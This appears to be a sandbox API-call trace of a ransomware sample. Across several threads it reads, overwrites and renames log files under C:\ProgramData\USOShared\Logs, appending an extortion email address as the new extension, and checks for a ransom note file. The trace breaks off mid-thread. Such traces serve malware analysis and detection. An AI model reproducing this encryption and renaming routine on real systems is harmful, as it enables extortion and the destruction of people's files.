	[0084.116] ReadFile (in: hFile=0x1708, lpBuffer=0x284bfa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x284bfa04, lpOverlapped=0x0 | out: lpBuffer=0x284bfa08*, lpNumberOfBytesRead=0x284bfa04*=0x4, lpOverlapped=0x0) returned 1
	[0084.128] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.128] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.128] NtQuerySystemTime (in: CurrentTime=0x284bf9e4 | out: CurrentTime=0x284bf9e4*=132251868108588051) returned 0x0
	[0084.128] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x353b3a3e
	[0084.128] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x9e6f753f
	[0084.128] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xb8053e71
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x17ea5ad2
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x374dc0e3
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x92dc4eff
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x31e5dd82
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x2af812ed
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xa541ee45
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xc5fb5453
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xd674ed16
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x5fea1dc3
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x52e63a6
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xb588a537
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xf221f637
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x73f22e6e
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x22a850b4
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x31009730
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xc86121a9
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xaf7126e6
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x1e792a9
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xa576c620
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xda19a243
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xfb673198
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x329facfc
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x783ec41f
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x8bfbfa68
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xcc55470e
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xa1ce8695
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xf08ee301
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0x90ea34e9
	[0084.129] RtlRandom (in: Seed=0x284bf9f0 | out: Seed=0x284bf9f0) returned 0xe90ecb1c
	[0084.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.137] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.137] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0084.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0084.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.138] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0084.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0084.138] ReadFile (in: hFile=0x1708, lpBuffer=0x503e840, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x284bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x284bf9e0*=0x2000, lpOverlapped=0x0) returned 1
	[0084.138] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.139] WriteFile (in: hFile=0x1708, lpBuffer=0x504b048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x284bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesWritten=0x284bf9dc*=0x2000, lpOverlapped=0x0) returned 1
	[0084.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.139] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0084.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0084.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0084.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf728
	[0084.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf488
	[0084.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34348
	[0084.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34050
	[0084.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34050) returned 1
	[0084.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.140] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.140] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481e030
	[0084.140] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.140] WriteFile (in: hFile=0x1708, lpBuffer=0x481e030*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x284bfa44, lpOverlapped=0x0 | out: lpBuffer=0x481e030*, lpNumberOfBytesWritten=0x284bfa44*=0x135, lpOverlapped=0x0) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf488) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34348) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0084.142] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47196d0
	[0084.142] wcscpy (in: _Dest=0x47196d0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl"
	[0084.142] wcscat (in: _Dest=0x47196d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.142] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x284bf9fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.142] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767408
	[0084.142] NtSetInformationFile (FileHandle=0x1708, IoStatusBlock=0x284bf9f4, FileInformation=0x4767408, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0084.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767408) returned 1
	[0084.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cb18) returned 1
	[0084.143] NtQueryInformationFile (in: FileHandle=0x1708, IoStatusBlock=0x284bfa08, FileInformation=0x284bf9e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x284bfa08, FileInformation=0x284bf9e0) returned 0x0
	[0084.143] NtSetInformationFile (FileHandle=0x1708, IoStatusBlock=0x284bfa08, FileInformation=0x284bf9e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.144] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47196d0) returned 1
	[0084.144] FlushFileBuffers (hFile=0x1708) returned 1
	[0084.145] CloseHandle (hObject=0x1708) returned 1
	[0084.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780df8
	[0084.146] wcscpy (in: _Dest=0x4780df8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.146] wcscat (in: _Dest=0x4780df8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.146] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780df8) returned 1
	[0084.146] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476da98) returned 1

Thread:
	id = 1149
	os_tid = 0x1e64

	[0084.148] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.015.etl")) returned 0x2020
	[0084.148] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl", dwFileAttributes=0x20) returned 1
	[0084.149] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.015.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1708
	[0084.149] GetFileSizeEx (in: hFile=0x1708, lpFileSize=0x2853fc50 | out: lpFileSize=0x2853fc50*=12288) returned 1
	[0084.149] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.149] ReadFile (in: hFile=0x1708, lpBuffer=0x2853fbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2853fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2853fbd4*, lpNumberOfBytesRead=0x2853fbd0*=0x4, lpOverlapped=0x0) returned 1
	[0084.150] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.150] NtQuerySystemTime (in: CurrentTime=0x2853fbb0 | out: CurrentTime=0x2853fbb0*=132251868108900413) returned 0x0
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x395e869d
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xb0afb2bb
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x7110ed91
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xb9137b6c
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x74cf8b14
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x51519605
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x1a703a52
	[0084.150] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xa7b82f6c
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x798ccb90
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x37f4c2a1
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xab0e8a25
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x768775f8
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xd1f76256
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x98ab4f29
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x78ef3cf4
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xc9cdbe34
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x34e9bae3
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x67557957
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x87d2ba64
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x6f4500eb
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x6c120a99
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x578083a3
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x5c38151f
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x3970c41e
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xab405ac1
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xdce4038c
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xd72cb5fd
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xb3f8e4c7
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x1e3450a4
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0x47335f40
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xf5b4a868
	[0084.151] RtlRandom (in: Seed=0x2853fbbc | out: Seed=0x2853fbbc) returned 0xb26a066b
	[0084.160] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0084.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0084.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.161] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0084.161] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0084.161] ReadFile (in: hFile=0x1708, lpBuffer=0x503e840, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2853fbac, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2853fbac*=0x3000, lpOverlapped=0x0) returned 1
	[0084.162] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.162] WriteFile (in: hFile=0x1708, lpBuffer=0x504b048*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2853fba8, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesWritten=0x2853fba8*=0x3000, lpOverlapped=0x0) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf728
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf488
	[0084.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34348
	[0084.163] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34050
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34050) returned 1
	[0084.163] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.164] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.164] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481e030
	[0084.164] SetFilePointerEx (in: hFile=0x1708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.164] WriteFile (in: hFile=0x1708, lpBuffer=0x481e030*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x2853fc10, lpOverlapped=0x0 | out: lpBuffer=0x481e030*, lpNumberOfBytesWritten=0x2853fc10*=0x135, lpOverlapped=0x0) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf488) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34348) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0084.166] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x47196d0
	[0084.166] wcscpy (in: _Dest=0x47196d0, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl"
	[0084.166] wcscat (in: _Dest=0x47196d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.166] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2853fbc8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.166] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4767408
	[0084.166] NtSetInformationFile (FileHandle=0x1708, IoStatusBlock=0x2853fbc0, FileInformation=0x4767408, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0084.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4767408) returned 1
	[0084.167] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477cb18) returned 1
	[0084.167] NtQueryInformationFile (in: FileHandle=0x1708, IoStatusBlock=0x2853fbd4, FileInformation=0x2853fbac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2853fbd4, FileInformation=0x2853fbac) returned 0x0
	[0084.167] NtSetInformationFile (FileHandle=0x1708, IoStatusBlock=0x2853fbd4, FileInformation=0x2853fbac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.168] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47196d0) returned 1
	[0084.168] FlushFileBuffers (hFile=0x1708) returned 1
	[0084.169] CloseHandle (hObject=0x1708) returned 1
	[0084.170] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780df8
	[0084.171] wcscpy (in: _Dest=0x4780df8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.171] wcscat (in: _Dest=0x4780df8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.171] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780df8) returned 1
	[0084.171] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e818) returned 1

Thread:
	id = 1150
	os_tid = 0x1e68

	[0084.163] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.016.etl")) returned 0x2020
	[0084.163] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl", dwFileAttributes=0x20) returned 1
	[0084.165] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.016.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.016.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f4
	[0084.167] GetFileSizeEx (in: hFile=0x16f4, lpFileSize=0x285bf938 | out: lpFileSize=0x285bf938*=8192) returned 1
	[0084.169] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.169] ReadFile (in: hFile=0x16f4, lpBuffer=0x285bf8bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285bf8b8, lpOverlapped=0x0 | out: lpBuffer=0x285bf8bc*, lpNumberOfBytesRead=0x285bf8b8*=0x4, lpOverlapped=0x0) returned 1
	[0084.173] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34438
	[0084.173] NtQuerySystemTime (in: CurrentTime=0x285bf898 | out: CurrentTime=0x285bf898*=132251868109057094) returned 0x0
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xfd21b5cf
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xd08d81d8
	[0084.173] RtlRandom (in: Seed=0x285bf8a4 | out: Seed=0x285bf8a4) returned 0xcd5bc619
